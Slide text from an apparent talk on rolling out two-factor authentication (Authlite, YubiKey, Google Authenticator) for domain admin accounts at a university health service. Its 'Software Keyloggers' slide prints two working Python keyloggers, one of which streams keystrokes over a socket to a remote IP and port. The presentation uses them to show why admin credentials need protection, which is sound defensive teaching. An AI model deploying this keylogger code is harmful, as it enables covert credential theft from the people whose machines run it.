Two Factor Authentication at UHS

Jeremy Foley CEH,eCPPT,eWPT
System and Security Admin
University Health Services
Two Factor Authentication at UHS

• Remote Access via Citrix Xendesktop

• Access to new web based EMR

• EPCS (Electronic Prescriptions for Controlled Substances)

• Windows privileged accounts (Domain Admins)
Two Factor Authentication to protect privileged accounts

Background:

• 4 full time IT staff
• IT staff use standard user account for daily activity
• IT staff have separate unique admin account used for administrative tasks
• Admin accounts members of domain admins group in Active Directory
What is the Big deal?

Admins use their admin accounts in their daily job:

- Log into workstations to access event logs.
- Install Software or drivers.
- Make software configuration changes to the workstation.
- Admin accounts may get used in a lot more places than you thought.

What are we worried about?
Your domain is one password away from complete compromise.
Software Keyloggers

```python
import pythoncom
import threading
import pyHook
import time
import sys

keylog_name = time.strftime("%Y%m%d")

def OnKeyboardEvent(event):
    key = chr(event.Ascii)
    if event.Ascii == 13:
        key = '/n'
    with open(keylog_name, "a") as myfile:
        myfile.write(key)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
```

```python
import pythoncom, pyHook, sys, socket

host = '10.0.1.75'
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    if event.Ascii == 13:
        keylog = '/n'
    s.send(keylog)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
```
Hardware Keyloggers
Why work hard? Just ask
Other Evil stuff out there....
What would be better?

Three separate levels of privilege:

- Standard User
- Admin User (non-domain admin)
- Super Admin
Sounds like we need Two Factor Authentication.
What are the requirements?

- Solution has to be easy and not get in the way of getting stuff done
- No special software necessary on the endpoints
- Supported on Linux Thin clients with restricted O/S
- Work with our Citrix Xendesktop VDI environment
- Multiple authentication tokens per user
Our Solution: Authlite (www.authlite.com)

- Client install recommended, but not required
- Google Authenticator (OAUTH)
- YubiKey (OTP). Emulates a keyboard
- Low Cost
How it works. The quick and dirty version.

- Authlite installed on all domain controllers
- User Logs in
- "Group Pairs" configured (2FA-Users = Domain Admins)

User authentication is successful:

- If valid 2FA token used Authlite rewrites the kerberos ticket and does a group replace based on the group pair.
- If user did not 2FA with token then group is not replaced in kerberos ticket.
Example RDP Login
How has it been going?

- Some apps don’t handle the 2FA and fail the authentication. Example: Xencenter/Xenserver
- Kerberos ticket does expire. On reissue the ticket is not re-written with 2FA group unless user re-logs in.
- Replay is a bit touchy. Needed to bump up the replay window.
- When to use 2FA and when not to.